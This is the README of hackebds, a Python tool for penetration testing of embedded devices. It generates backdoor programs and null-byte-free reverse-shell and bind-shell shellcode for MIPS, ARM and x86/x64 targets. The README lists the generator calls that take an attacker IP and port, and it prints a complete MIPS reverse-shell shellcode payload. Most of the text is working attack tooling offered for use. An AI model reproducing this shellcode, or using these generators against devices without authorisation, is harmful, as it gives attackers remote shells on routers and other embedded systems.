hackebds 0.1.5

This tool is used for backdoor and shellcode generation for various architecture devices

# introduction

## foreword

>In the process of penetration and vulnerability mining of embedded devices, many problems have been encountered. One is that some devices do not have telnetd or ssh services to obtain an interactive shell, and the other is that memory corruption vulnerabilities such as stack overflow are usually Null bytes are truncated, so it is more troublesome to construct reverse_shellcode, so this tool was developed to exploit the vulnerability. This tool is developed based on the PWN module and currently uses the python2 language

## fuction

This tool is embedded in the security test of the device. There are two main functions:

1. Generate backdoor programs of various architectures. The backdoor program is packaged in shellless pure shellcode and is smal in size.**Armv5, Armv7, Armv8, mipsel, mips are now supported, and they are still being updated**

2. Generate reverse_shell shellcode of various architectures during the exploit process, and no null bytes, which facilitates the exploitation of memory corruption vulnerabilities on embedded devices. Armv5, Armv7, Armv8, mipsel, mips are now supported, and they are still being updated

3. Fixed some bugs that the reverse_shellcode and reverse_backdoor ports were selected too often, and added the function of generating bindshell with specified ports and passwords under x86 and x64，and beautified the generation process****（This feature will be updated to various architectures）

## install (1) Highly recommended！！Because the source code compilation may not be updated in time，Please install the latest pip install hackebds==0.1.5

` pip install hackebds==0.1.5 .... ` #### Instructions for use When importing this module will import the pwn module

1. Generate backdoor programs of various architectures, encapsulate pure shellcode, and successfully connect to the shell ` >>> from hackebds import * >>> mipsel_backdoor(reverse_ip,reverse_port) >>> mips_backdoor(reverse_ip,reverse_port) >>> aarch64_backdoor(reverse_ip,reverse_port) >>> armelv5_backdoor(reverse_ip,reverse_port) >>> armelv7_backdoor(reverse_ip,reverse_port) >>> armebv5_backdoor(reverse_ip,reverse_port) >>> armebv7_backdoor(reverse_ip,reverse_port) >>> mips64_backdoor(reverse_ip,reverse_port) >>> mips64el_backdoor(reverse_ip,reverse_port) >>> x86_bind_shell(listen_port, passwd) >>> x64_bind_shell(listen_port, passwd) ` expample: ` >>> mipsel_backdoor("127.0.0.1",5566) [+] reverse_ip is: 127.0.0.1 [+] reverse_port is: 5566 [*] waiting 3s [+] mipsel_backdoor is ok in current path ./ >>> ` 

` >>> from hackebds import * >>> x64_bind_shell(13000,"1235") [+] bind port is set to 13000 [+] passwd is set to '1235' [*] waiting 3s [+] x64_bind_shell is ok in current path ./ `


2. Generates the use-back shellcode (no free) null bytes corresponding to various architectures

` >>> from hackebds import * >>> mipsel_reverse_sl(reverse_ip,reverse_port) >>> mips_reverse_sl(reverse_ip,reverse_port) >>> aarch64_reverse_sl(reverse_ip,reverse_port) >>> armelv5_reverse_sl(reverse_ip,reverse_port) >>> armelv7_reverse_sl(reverse_ip,reverse_port) >>> armebv5_reverse_sl(reverse_ip,reverse_port) >>> armebv7_backdoor(reverse_ip,reverse_port) >>> mips64_reverse_sl(reverse_ip,reverse_port) >>> mips64el_reverse_sl(reverse_ip,reverse_port) >>> android_aarch64_backdoor(reverse_ip,reverse_port) ` example: ` >>> from hackebds import * >>> shellcode=mipsel_reverse_sl("127.0.0.1",5566) [+] No NULL byte shellcode for hex(len is 264): \xfd\xff\x19\x24\x27\x20\x20\x03\xff\xff\x06\x28\x57\x10\x02\x34\xfc\xff\xa4\xaf\xfc\xff\xa5\x8f\x0c\x01\x01\x01\xfc\xff\xa2\xaf\xfc\xff\xb0\x8f\xea\x41\x19\x3c\xfd\xff\x39\x37\x27\x48\x20\x03\xf8\xff\xa9\xaf\xff\xfe\x19\x3c\x80\xff\x39\x37\x27\x48\x20\x03\xfc\xff\xa9\xaf\xf8\xff\xbd\x27\xfc\xff\xb0\xaf\xfc\xff\xa4\x8f\x20\x28\xa0\x03\xef\xff\x19\x24\x27\x30\x20\x03\x4a\x10\x02\x34\x0c\x01\x01\x01\xf7\xff\x85\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\xfe\xff\x19\x24\x27\x28\x20\x03\xdf\x0f\x02\x24\x0c\x01\x01\x01\xfd\xff\x19\x24\x27\x28\x20\x03\xdf\x0f\x02\x24\x0c\x01\x01\x01\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf8\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xfc\xff\xa9\xaf\xf8\xff\xbd\x27\x20\x20\xa0\x03\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf4\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd\x27\xff\xff\x05\x28\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\xfb\xff\x19\x24\x27\x28\x20\x03\x20\x28\xa5\x03\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\x20\x28\xa0\x03\xff\xff\x06\x28\xab\x0f\x02\x34\x0c\x01\x01\x01 ` ## chips and architectures Tests can leverage chips and architectures
